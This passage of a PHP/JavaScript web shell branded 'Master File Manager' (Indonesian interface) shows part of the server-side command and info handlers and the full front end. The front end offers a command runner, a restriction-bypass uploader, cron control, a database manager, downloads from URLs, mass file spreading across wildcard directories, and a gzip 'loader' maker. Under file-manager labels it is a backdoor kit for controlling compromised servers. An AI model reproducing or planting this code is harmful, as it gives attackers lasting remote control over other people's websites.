$output = commandExec("nslookup " . escapeshellarg($domain) . " 2>&1");
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
// Info
if ($ajax_action == 'get_info') {
$info = [
'php_version' => phpversion(),
'user' => get_current_user(),
'ip' => $_SERVER['REMOTE_ADDR'],
'tmp_dir' => $tmp_dir,
'session_id' => session_id(),
'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'disabled_functions' => ini_get('disable_functions') ?: 'None',
'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
'upload_max_filesize' => ini_get('upload_max_filesize'),
'post_max_size' => ini_get('post_max_size'),
'max_execution_time' => ini_get('max_execution_time') . 's',
'memory_limit' => ini_get('memory_limit'),
'server_time' => date('Y-m-d H:i:s'),
'server_timezone' => date_default_timezone_get()
];
echo json_encode(['status' => 'success', 'info' => $info]);
exit;
}
echo json_encode(['status' => 'error', 'message' => 'Unknown action']);
exit;
}
// ===== MAIN HTML =====
$current_path = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>Master File Manager v<?php echo MASTER_VERSION; ?> - Complete Edition</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
background: #0a0a0a;
color: #0f0;
font-family: 'Courier New', 'Fira Code', monospace;
padding: 20px;
margin: 0;
font-size: 13px;
}
.container {
max-width: 1600px;
margin: 0 auto;
}
/* Header */
.header {
background: #0f0f0f;
padding: 15px 20px;
border-bottom: 2px solid #0f0;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 15px;
margin-bottom: 20px;
border-radius: 8px 8px 0 0;
}
.header h1 {
font-size: 18px;
color: #0f0;
}
.logout-btn {
background: #c00;
color: #fff;
padding: 8px 16px;
text-decoration: none;
border-radius: 5px;
font-weight: bold;
}
.logout-btn:hover {
background: #f00;
}
/* Menu */
.menu {
background: #111;
padding: 10px;
margin: 10px 0 20px 0;
border: 1px solid #333;
display: flex;
flex-wrap: wrap;
gap: 8px;
border-radius: 5px;
}
.menu a {
background: #1a1a1a;
color: #0f0;
padding: 6px 12px;
text-decoration: none;
border-radius: 4px;
font-size: 12px;
transition: all 0.2s;
cursor: pointer;
}
.menu a:hover {
background: #0f0;
color: #000;
}
/* Panel */
.panel {
background: #0f0f0f;
padding: 20px;
margin: 15px 0;
border: 1px solid #333;
border-radius: 8px;
}
.panel h2 {
font-size: 16px;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid #333;
}
.panel h3 {
font-size: 14px;
margin-bottom: 10px;
color: #0f0;
}
/* Breadcrumb */
.breadcrumb {
background: #111;
padding: 10px 15px;
margin: 10px 0;
border: 1px solid #333;
border-radius: 5px;
font-size: 12px;
word-break: break-all;
}
.breadcrumb a {
color: #0ff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
/* Search box */
.search-box {
background: #111;
padding: 10px;
margin: 10px 0;
display: flex;
gap: 10px;
flex-wrap: wrap;
align-items: center;
border-radius: 5px;
}
.search-box input {
flex: 1;
min-width: 200px;
}
/* Form elements */
input, textarea, select {
background: #1a1a1a;
color: #0f0;
border: 1px solid #333;
padding: 8px 12px;
font-family: monospace;
border-radius: 4px;
}
input:focus, textarea:focus, select:focus {
outline: none;
border-color: #0f0;
}
button, .btn {
background: #0f0;
color: #000;
border: none;
padding: 8px 16px;
cursor: pointer;
font-family: monospace;
font-weight: bold;
border-radius: 4px;
transition: all 0.2s;
}
button:hover, .btn:hover {
background: #0ff;
transform: scale(1.02);
}
button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
/* File Table */
.file-table-wrapper {
overflow-x: auto;
margin: 15px 0;
border-radius: 5px;
}
.file-table {
width: 100%;
border-collapse: collapse;
font-size: 12px;
}
.file-table th {
background: #1a1a1a;
color: #0f0;
padding: 10px 8px;
text-align: left;
border-bottom: 2px solid #0f0;
}
.file-table td {
padding: 8px;
border-bottom: 1px solid #222;
vertical-align: middle;
}
.file-table tr:hover {
background: #1a2a1a;
}
/* Action buttons inside table */
.action-group {
display: flex;
flex-wrap: wrap;
gap: 5px;
align-items: center;
}
.action-group input {
padding: 4px 6px;
font-size: 11px;
width: auto;
}
.btn-small {
background: #222;
color: #0f0;
border: 1px solid #0f0;
padding: 3px 8px;
font-size: 11px;
border-radius: 3px;
cursor: pointer;
}
.btn-small:hover {
background: #0f0;
color: #000;
}
.btn-danger {
background: #600;
border-color: #f00;
color: #f99;
}
.btn-danger:hover {
background: #c00;
color: #fff;
}
/* Action panels */
.action-panels {
display: flex;
flex-wrap: wrap;
gap: 20px;
margin-top: 20px;
padding-top: 20px;
border-top: 1px solid #333;
}
.action-panel {
background: #111;
padding: 15px;
border-radius: 5px;
flex: 1;
min-width: 200px;
}
.action-panel h3 {
font-size: 13px;
margin-bottom: 10px;
color: #0f0;
}
.action-panel input {
width: 100%;
margin-bottom: 8px;
}
/* Tab buttons */
.tab-buttons {
display: flex;
margin: 10px 0;
}
.tab-btn {
flex: 1;
padding: 10px;
background: #222;
color: #0f0;
border: none;
cursor: pointer;
}
.tab-btn.active {
background: #0f0;
color: #000;
}
.tab-content {
display: none;
background: #111;
padding: 20px;
border: 1px solid #333;
border-top: none;
}
.tab-content.active {
display: block;
}
/* Dropzone */
.dropzone {
border: 2px dashed #0f0;
padding: 30px;
text-align: center;
cursor: pointer;
margin: 10px 0;
}
.dropzone:hover {
background: #1a1a1a;
}
/* Messages */
.success {
color: #0f0;
background: #0a1a0a;
padding: 10px;
border-left: 4px solid #0f0;
margin: 10px 0;
}
.error {
color: #f00;
background: #1a0a0a;
padding: 10px;
border-left: 4px solid #f00;
margin: 10px 0;
}
.loading {
display: inline-block;
width: 20px;
height: 20px;
border: 2px solid #0f0;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s linear infinite;
margin-right: 8px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
/* Modal */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.8);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal.active {
display: flex;
}
.modal-content {
background: #0f0f0f;
border: 2px solid #0f0;
border-radius: 10px;
padding: 20px;
width: 90%;
max-width: 900px;
max-height: 80%;
overflow: auto;
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid #333;
}
.modal-close {
cursor: pointer;
font-size: 20px;
}
/* Info table */
.info-table {
width: 100%;
border-collapse: collapse;
}
.info-table th {
text-align: left;
padding: 8px;
background: #1a1a1a;
width: 200px;
}
.info-table td {
padding: 8px;
border-bottom: 1px solid #333;
}
/* Database table */
.db-table {
width: 100%;
border-collapse: collapse;
font-size: 12px;
overflow-x: auto;
display: block;
}
.db-table th, .db-table td {
border: 1px solid #333;
padding: 6px;
text-align: left;
}
.db-table th {
background: #1a1a1a;
position: sticky;
top: 0;
}
/* Responsive */
@media (max-width: 900px) {
body { padding: 10px; }
.file-table th, .file-table td { padding: 6px 4px; }
.action-group { flex-direction: column; align-items: flex-start; }
.action-group input { width: 80px; }
}
@media (max-width: 700px) {
.hide-mobile { display: none; }
}
.footer {
text-align: center;
margin-top: 30px;
padding: 15px;
border-top: 1px solid #333;
color: #666;
font-size: 11px;
}
pre {
background: #111;
padding: 10px;
border: 1px solid #333;
overflow: auto;
white-space: pre-wrap;
word-wrap: break-word;
}
code {
background: #1a1a1a;
padding: 2px 4px;
border-radius: 3px;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>๐ง Master File Manager v<?php echo MASTER_VERSION; ?> (Complete Edition)</h1>
<a href="?logout=1" class="logout-btn">๐ช Logout</a>
</div>
<div class="menu" id="menuBar"></div>
<div id="mainContent">
<div style="text-align:center;padding:40px">
<div class="loading"></div> Loading...
</div>
</div>
<div class="footer">
<p>Master File Manager | Protected by bcrypt + Cookie Session | <?php echo date('Y-m-d H:i:s'); ?></p>
</div>
</div>
<script>
// Global variables
let currentPath = '<?php echo addslashes($current_path); ?>';
let currentAction = 'filemanager';
let dbConfig = { host: 'localhost', user: 'root', pass: '', name: '' };
// Menu items
const menuItems = [
{ action: 'filemanager', label: '๐ File Manager', icon: '๐' },
{ action: 'mass', label: '๐ฆ Mass Upload', icon: '๐ฆ' },
{ action: 'gzip', label: '๐จ Gzip Maker', icon: '๐จ' },
{ action: 'multi_upload', label: '๐ค Multi Upload', icon: '๐ค' },
{ action: 'cron', label: 'โฐ Cron', icon: 'โฐ' },
{ action: 'dbmanager', label: '๐๏ธ DB Manager', icon: '๐๏ธ' },
{ action: 'rawupload', label: '๐ฅ Raw URL', icon: '๐ฅ' },
{ action: 'bypass', label: '๐ Bypass', icon: '๐' },
{ action: 'extract', label: '๐ฆ Extract', icon: '๐ฆ' },
{ action: 'cmd', label: 'โจ๏ธ Command', icon: 'โจ๏ธ' },
{ action: 'security', label: '๐ Security', icon: '๐' },
{ action: 'network', label: '๐ Network', icon: '๐' },
{ action: 'info', label: 'โน๏ธ Info', icon: 'โน๏ธ' }
];
// Build menu
function buildMenu() {
const menuBar = document.getElementById('menuBar');
menuBar.innerHTML = '';
menuItems.forEach(item => {
const link = document.createElement('a');
link.href = 'javascript:void(0)';
link.innerHTML = `${item.icon} ${item.label}`;
link.onclick = () => loadAction(item.action);
menuBar.appendChild(link);
});
}
// Load action
function loadAction(action) {
currentAction = action;
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = '<div style="text-align:center;padding:40px"><div class="loading"></div> Loading...</div>';
switch(action) {
case 'filemanager':
renderFileManager();
break;
case 'mass':
renderMassUploader();
break;
case 'gzip':
renderGzipMaker();
break;
case 'multi_upload':
renderMultiUpload();
break;
case 'cron':
renderCronManager();
break;
case 'dbmanager':
renderDbManager();
break;
case 'rawupload':
renderRawUpload();
break;
case 'bypass':
renderBypassUploader();
break;
case 'extract':
renderExtractManager();
break;
case 'cmd':
renderCommand();
break;
case 'security':
renderSecurityScan();
break;
case 'network':
renderNetworkTools();
break;
case 'info':
renderInfo();
break;
default:
renderFileManager();
}
}
// AJAX helper
function ajaxPost(data, callback) {
const formData = new FormData();
for (let key in data) {
formData.append(key, data[key]);
}
formData.append('ajax_action', data.ajax_action);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const response = JSON.parse(xhr.responseText);
callback(response);
} catch(e) {
callback({status: 'error', message: 'Parse error: ' + e.message});
}
} else {
callback({status: 'error', message: 'HTTP ' + xhr.status});
}
};
xhr.onerror = function() {
callback({status: 'error', message: 'Network error'});
};
xhr.send(formData);
}
// Escape HTML
function escapeHtml(str) {
if (!str) return '';
return String(str).replace(/[&<>]/g, function(m) {
if (m === '&') return '&';
if (m === '<') return '<';
if (m === '>') return '>';
return m;
});
}
// Show result message
function showResult(message, status, containerId = 'fileManagerResult') {
const resultDiv = document.getElementById(containerId);
if (resultDiv) {
resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`;
setTimeout(() => { resultDiv.innerHTML = ''; }, 3000);
} else {
alert(message);
}
}
// ========== FILE MANAGER ==========
function renderFileManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ File Manager</h2>
<div class="breadcrumb" id="breadcrumb"></div>
<div class="search-box">
<input type="text" id="searchInput" placeholder="๐ Filter files...">
<button onclick="searchFiles()">Cari</button>
<button onclick="refreshFileManager()">Refresh</button>
<button onclick="createZipFromSelection()" id="zipBtn" style="display:none">๐ฆ Create ZIP</button>
</div>
<div class="file-table-wrapper">
<div id="fileTable"></div>
</div>
<div id="fileManagerResult"></div>
<div class="action-panels">
<div class="action-panel">
<h3>๐ Create File</h3>
<input type="text" id="newFileName" placeholder="filename.php">
<button onclick="createFile()">Create</button>
</div>
<div class="action-panel">
<h3>๐ Create Folder</h3>
<input type="text" id="newFolderName" placeholder="foldername">
<button onclick="createFolder()">Create</button>
</div>
<div class="action-panel">
<h3>๐ค Upload File</h3>
<input type="file" id="uploadFile" style="margin-bottom:8px">
<button onclick="uploadFile()">Upload</button>
</div>
</div>
</div>
`;
refreshFileManager();
}
function refreshFileManager() {
const search = document.getElementById('searchInput')?.value || '';
ajaxPost({ajax_action: 'list_files', path: currentPath, search: search}, function(res) {
if (res.status === 'success') {
currentPath = res.cwd;
renderBreadcrumb(res.cwd);
renderFileTable(res.files);
} else {
document.getElementById('fileTable').innerHTML = '<div class="error">Error loading files</div>';
}
});
}
function searchFiles() {
refreshFileManager();
}
function renderBreadcrumb(cwd) {
const parts = cwd.split('/').filter(p => p);
let html = `๐ <b>Path:</b> <a href="javascript:goToPath('/')">/</a>`;
let current = '';
for (let part of parts) {
current += '/' + part;
html += ` / <a href="javascript:goToPath('${current}')">${escapeHtml(part)}</a>`;
}
document.getElementById('breadcrumb').innerHTML = html;
}
function goToPath(path) {
currentPath = path;
refreshFileManager();
}
let selectedItems = new Set();
function renderFileTable(files) {
if (!files || files.length === 0) {
document.getElementById('fileTable').innerHTML = '<div class="error">No files found</div>';
return;
}
let html = `<table class="file-table">
<thead>
<tr>
<th style="width:30px"><input type="checkbox" id="selectAll" onclick="toggleSelectAll()"></th>
<th>Name</th>
<th class="hide-mobile">Size</th>
<th class="hide-mobile">Perms</th>
<th class="hide-mobile">Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>`;
// Parent directory
if (currentPath !== '/') {
const parentPath = currentPath.substring(0, currentPath.lastIndexOf('/')) || '/';
html += `<tr class="dir-row">
<td></td>
<td><a href="javascript:goToPath('${parentPath}')" style="color:#0ff">๐ [..] Parent Directory</a></td>
<td class="hide-mobile">--</td>
<td class="hide-mobile">--</td>
<td class="hide-mobile">--</td>
<td></td>
</tr>`;
}
for (let file of files) {
const icon = file.is_dir ? '๐' : '๐';
const isPhp = !file.is_dir && file.name.match(/\.(php|php\d*)$/i);
const iconDisplay = isPhp ? '๐' : icon;
const isSelected = selectedItems.has(file.name);
html += `<tr>
<td>${!file.is_dir ? `<input type="checkbox" class="fileCheckbox" data-name="${escapeHtml(file.name)}" ${isSelected ? 'checked' : ''} onclick="toggleSelectItem('${escapeHtml(file.name)}')">` : ''}</td>
<td>
${iconDisplay} ${file.is_dir ?
`<a href="javascript:goToPath('${file.path}')" style="color:#0f0;font-weight:bold">${escapeHtml(file.name)}</a>` :
`<a href="javascript:viewFile('${file.path}')" style="color:#0f0">${escapeHtml(file.name)}</a>`
}
</td>
<td class="hide-mobile">${file.size_formatted}</td>
<td class="hide-mobile">${file.perms}</td>
<td class="hide-mobile">${file.modified}</td>
<td>
<div class="action-group">
${!file.is_dir ? `<button class="btn-small" onclick="editFile('${file.path}')">โ๏ธ Edit</button>` : ''}
<button class="btn-small btn-danger" onclick="deleteItem('${file.name}')">๐๏ธ Del</button>
<input type="text" id="rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}" placeholder="new name" size="8">
<button class="btn-small" onclick="renameItem('${file.name}', document.getElementById('rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Rename</button>
<input type="text" id="chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}" value="${file.perms}" size="4">
<button class="btn-small" onclick="chmodItem('${file.path}', document.getElementById('chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Chmod</button>
${!file.is_dir && file.name.endsWith('.zip') ? `<button class="btn-small" onclick="extractZipHere('${file.path}')">๐ฆ Extract</button>` : ''}
</div>
</td>
</tr>`;
}
html += `</tbody></table>`;
document.getElementById('fileTable').innerHTML = html;
// Show/hide ZIP button
const zipBtn = document.getElementById('zipBtn');
if (zipBtn) {
zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
}
}
function toggleSelectAll() {
const checkboxes = document.querySelectorAll('.fileCheckbox');
const selectAll = document.getElementById('selectAll');
checkboxes.forEach(cb => {
cb.checked = selectAll.checked;
if (selectAll.checked) {
selectedItems.add(cb.dataset.name);
} else {
selectedItems.delete(cb.dataset.name);
}
});
const zipBtn = document.getElementById('zipBtn');
if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
}
function toggleSelectItem(name) {
if (selectedItems.has(name)) {
selectedItems.delete(name);
} else {
selectedItems.add(name);
}
const zipBtn = document.getElementById('zipBtn');
if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none';
}
function createZipFromSelection() {
if (selectedItems.size === 0) {
alert('Pilih file/folder terlebih dahulu');
return;
}
const zipName = prompt('Nama file ZIP:', 'archive_' + new Date().toISOString().slice(0,19).replace(/:/g, '-') + '.zip');
if (!zipName) return;
const items = Array.from(selectedItems);
ajaxPost({
ajax_action: 'create_zip',
cwd: currentPath,
zip_name: zipName,
items: JSON.stringify(items)
}, function(res) {
if (res.status === 'success') {
showResult(res.message, 'success');
selectedItems.clear();
refreshFileManager();
} else {
showResult(res.message, 'error');
}
});
}
function extractZipHere(zipFile) {
if (!confirm('Extract ZIP to current directory?')) return;
ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: currentPath}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function createFile() {
const filename = document.getElementById('newFileName').value;
if (!filename) return alert('Masukkan nama file');
ajaxPost({ajax_action: 'create_file', cwd: currentPath, filename: filename}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
document.getElementById('newFileName').value = '';
});
}
function createFolder() {
const foldername = document.getElementById('newFolderName').value;
if (!foldername) return alert('Masukkan nama folder');
ajaxPost({ajax_action: 'create_folder', cwd: currentPath, foldername: foldername}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
document.getElementById('newFolderName').value = '';
});
}
function deleteItem(item) {
if (!confirm(`Hapus ${item}?`)) return;
ajaxPost({ajax_action: 'delete_item', cwd: currentPath, item: item}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function renameItem(oldName, newName) {
if (!newName) return alert('Masukkan nama baru');
ajaxPost({ajax_action: 'rename_item', cwd: currentPath, old: oldName, new: newName}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function chmodItem(filePath, perms) {
if (!perms) return;
ajaxPost({ajax_action: 'chmod_item', file: filePath, perms: perms}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function viewFile(filePath) {
ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
if (res.status === 'success') {
const win = window.open();
win.document.write(`<html><head><title>View File</title><style>body{background:#000;color:#0f0;font-family:monospace;padding:20px;white-space:pre-wrap;word-wrap:break-word}</style></head><body><pre>${escapeHtml(res.content)}</pre></body></html>`);
} else {
alert(res.message);
}
});
}
function editFile(filePath) {
ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
if (res.status === 'success') {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>โ๏ธ Editing: ${escapeHtml(filePath.split('/').pop())}</h2>
<textarea id="editorContent" style="width:100%;height:500px;background:#1a1a1a;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace">${escapeHtml(res.content)}</textarea><br><br>
<button onclick="saveFileContent('${filePath}')">๐พ Save</button>
<button onclick="loadAction('filemanager')">โฌ
๏ธ Back</button>
</div>
`;
} else {
alert(res.message);
}
});
}
function saveFileContent(filePath) {
const content = document.getElementById('editorContent').value;
ajaxPost({ajax_action: 'save_file_content', file: filePath, content: content}, function(res) {
if (res.status === 'success') {
alert('File saved!');
loadAction('filemanager');
} else {
alert('Save failed: ' + res.message);
}
});
}
function uploadFile() {
const fileInput = document.getElementById('uploadFile');
if (!fileInput.files.length) return alert('Pilih file');
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', currentPath);
formData.append('file', fileInput.files[0]);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
fileInput.value = '';
} catch(e) {
alert('Error: ' + e.message);
}
} else {
alert('Upload failed');
}
};
xhr.send(formData);
}
// ========== MASS UPLOADER (PERBAIKAN) ==========
function renderMassUploader() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ฆ Mass Uploader</h2>
<div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
<h3>๐ Directory Tujuan</h3>
<input type="text" id="targetDir" value="${currentPath}" style="width:100%">
<small>Bisa pakai wildcard * untuk multiple folder</small>
</div>
<div style="background:#111;padding:15px;margin:10px 0;border-radius:5px">
<h3>โ๏ธ Depth Setting</h3>
<select id="depth">
<option value="0">Depth 0 - Langsung ke folder tujuan</option>
<option value="1">Depth 1 - Pertahankan 1 level folder</option>
</select>
</div>
<div class="tab-buttons">
<button class="tab-btn active" onclick="showMassTab('copy')">๐ Copy File</button>
<button class="tab-btn" onclick="showMassTab('url')">๐ URL Download</button>
</div>
<div id="massTabCopy" class="tab-content active">
<h3>๐ Copy File dari Server</h3>
<textarea id="fileList" style="width:100%;height:150px;font-family:monospace" placeholder="/home/user/file1.txt /var/www/*.php /path/to/folder/*"></textarea>
<button onclick="processMassAction('copy')" style="margin-top:10px">๐ COPY FILES</button>
</div>
<div id="massTabUrl" class="tab-content">
<h3>๐ Download dari URL</h3>
<textarea id="urlList" style="width:100%;height:150px;font-family:monospace" placeholder="https://example.com/file1.jpg https://example.com/file.php|custom.php"></textarea>
<button onclick="processMassAction('url')" style="margin-top:10px">๐ DOWNLOAD FILES</button>
</div>
<div id="massResult"></div>
</div>
`;
}
function showMassTab(tab) {
const copyTab = document.getElementById('massTabCopy');
const urlTab = document.getElementById('massTabUrl');
const btns = document.querySelectorAll('.tab-btn');
if (tab === 'copy') {
copyTab.classList.add('active');
urlTab.classList.remove('active');
btns[0].classList.add('active');
btns[1].classList.remove('active');
} else {
copyTab.classList.remove('active');
urlTab.classList.add('active');
btns[0].classList.remove('active');
btns[1].classList.add('active');
}
}
function processMassAction(action) {
const targetDir = document.getElementById('targetDir').value;
const depth = document.getElementById('depth').value;
let data = {
ajax_action: 'mass_upload',
mass_action: action,
target_dir: targetDir,
depth: depth
};
if (action === 'copy') {
data.file_list = document.getElementById('fileList').value;
if (!data.file_list.trim()) {
alert('Masukkan daftar file');
return;
}
} else {
data.url_list = document.getElementById('urlList').value;
if (!data.url_list.trim()) {
alert('Masukkan daftar URL');
return;
}
}
const resultDiv = document.getElementById('massResult');
resultDiv.innerHTML = `
<div style="text-align:center;padding:20px">
<div class="loading"></div>
<span>Processing mass upload...</span>
</div>
`;
ajaxPost(data, function(res) {
if (res.success !== undefined) {
let html = `
<div style="margin-top:20px;background:#0a1a0a;border:1px solid #0f0;border-radius:8px;padding:0;overflow:hidden">
<div style="background:#0f0;color:#000;padding:10px 15px;font-weight:bold">
๐ HASIL MASS UPLOAD
</div>
<div style="padding:15px">
<div style="display:flex;gap:20px;flex-wrap:wrap;margin-bottom:20px">
<div style="background:#0a2a0a;padding:10px 20px;border-radius:5px;text-align:center">
<div style="font-size:24px;color:#0f0;font-weight:bold">${res.success}</div>
<div style="font-size:12px">โ
Sukses</div>
</div>
<div style="background:#2a0a0a;padding:10px 20px;border-radius:5px;text-align:center">
<div style="font-size:24px;color:#f00;font-weight:bold">${res.failed}</div>
<div style="font-size:12px">โ Gagal</div>
</div>
<div style="background:#1a1a2a;padding:10px 20px;border-radius:5px;text-align:center">
<div style="font-size:24px;color:#0ff;font-weight:bold">${res.total}</div>
<div style="font-size:12px">๐ฆ Total</div>
</div>
</div>
`;
if (res.results && res.results.length) {
html += `
<details open>
<summary style="cursor:pointer;font-weight:bold;margin-bottom:10px">๐ Detail Proses (${res.results.length} items)</summary>
<div style="max-height:400px;overflow-y:auto;border:1px solid #333;border-radius:5px">
<table style="width:100%;border-collapse:collapse;font-size:12px">
<thead style="position:sticky;top:0;background:#1a1a1a">
<tr>
<th style="padding:8px;text-align:left;border-bottom:1px solid #333">#</th>
<th style="padding:8px;text-align:left;border-bottom:1px solid #333">Status</th>
<th style="padding:8px;text-align:left;border-bottom:1px solid #333">Source</th>
<th style="padding:8px;text-align:left;border-bottom:1px solid #333">Target/Destination</th>
</tr>
</thead>
<tbody>
`;
let index = 1;
for (let r of res.results) {
const statusIcon = r.status === 'success' ? 'โ
' : 'โ';
const statusColor = r.status === 'success' ? '#0f0' : '#f66';
const sourceDisplay = r.source ? (r.source.length > 50 ? r.source.substring(0, 47) + '...' : r.source) : '-';
const targetDisplay = r.target ? (r.target.length > 50 ? r.target.substring(0, 47) + '...' : r.target) : '-';
html += `
<tr style="border-bottom:1px solid #222">
<td style="padding:6px 8px;color:#888">${index++}</td>
<td style="padding:6px 8px;color:${statusColor};font-weight:bold">${statusIcon} ${r.status}</td>
<td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.source || '')}">${escapeHtml(sourceDisplay)}</td>
<td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.target || r.message || '')}">${escapeHtml(targetDisplay)}</td>
</tr>
`;
}
html += `
</tbody>
</table>
</div>
</details>
`;
}
html += `
<div style="margin-top:15px;padding-top:10px;border-top:1px solid #333">
<button onclick="document.getElementById('massResult').innerHTML = ''; document.getElementById('fileList').value = ''; document.getElementById('urlList').value = ''" style="background:#333;color:#0f0">๐๏ธ Clear Results</button>
<button onclick="if(typeof refreshFileManager === 'function') refreshFileManager(); else location.reload()" style="margin-left:10px">๐ Refresh</button>
</div>
</div>
</div>
`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `
<div class="error" style="margin-top:15px;padding:15px;border-radius:5px">
<strong>โ Error:</strong> ${escapeHtml(res.message || 'Unknown error')}
</div>
`;
}
});
}
// ========== GZIP MAKER ==========
function renderGzipMaker() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐จ Gzip Maker</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Source (path atau URL):</strong></label>
<input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Gzip Name:</strong></label>
<input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ง Use Loader?</strong></label><br>
<label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label>
<label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label>
<div id="loaderDiv" style="display:none;margin-top:10px">
<label>Loader Name:</label>
<input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random">
</div>
</div>
<button onclick="processGzip()">๐จ PROSES</button>
<div id="gzipResult"></div>
</div>
`;
}
function toggleLoaderDiv(show) {
document.getElementById('loaderDiv').style.display = show ? 'block' : 'none';
}
function processGzip() {
const source = document.getElementById('gzipSource').value;
if (!source) return alert('Masukkan source');
const useLoader = document.querySelector('input[name="useLoader"]:checked').value;
const loaderName = document.getElementById('loaderName')?.value || '';
const resultDiv = document.getElementById('gzipResult');
resultDiv.innerHTML = '<div class="loading"></div> Processing...';
ajaxPost({
ajax_action: 'make_gzip',
source: source,
gzip_name: document.getElementById('gzipName').value,
use_loader: useLoader,
loader_name: loaderName
}, function(res) {
if (res.status === 'success') {
let html = `<div class="success" style="margin-top:15px">
<h3>โ
GZIP Created!</h3>
<p>File: <a href="${res.gzip_file}">${res.gzip_file}</a> (${res.size})</p>`;
if (res.loader_file) {
html += `<p>๐ฆ Loader: <a href="${res.loader_file}">${res.loader_file}</a></p>`;
html += `<details><summary>Preview</summary><pre>${escapeHtml(res.loader_content)}</pre></details>`;
}
html += `</div>`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`;
}
});
}
// ========== MULTI UPLOAD ==========
function renderMultiUpload() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>๐ค Multi Upload</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>๐ Target Directory:</strong></label>
<input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%">
</div>
<div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()">
๐ Drag & drop files here or click to select
</div>
<input type="file" id="multiFileInput" multiple style="display:none">
<div id="multiFileList"></div>
<button onclick="processMultiUpload()">๐ Upload All</button>
<div id="multiResult"></div>
</div>
`;
const dropzone = document.getElementById('multiDropzone');
const fileInput = document.getElementById('multiFileInput');
if (dropzone) {
dropzone.addEventListener('dragover', (e) => e.preventDefault());
dropzone.addEventListener('drop', (e) => {
e.preventDefault();
fileInput.files = e.dataTransfer.files;
updateMultiFileList();
});
}
if (fileInput) {
fileInput.addEventListener('change', () => updateMultiFileList());
}
}
function updateMultiFileList() {
const input = document.getElementById('multiFileInput');
let html = '<h4>Selected:</h4>';
for (let i = 0; i < input.files.length; i++) {
html += `<div>${escapeHtml(input.files[i].name)}</div>`;
}
document.getElementById('multiFileList').innerHTML = html;
}
function processMultiUpload() {
const fileInput = document.getElementById('multiFileInput');
if (!fileInput.files.length) return alert('Pilih file');
const targetDir = document.getElementById('multiTargetDir').value;
const resultDiv = document.getElementById('multiResult');
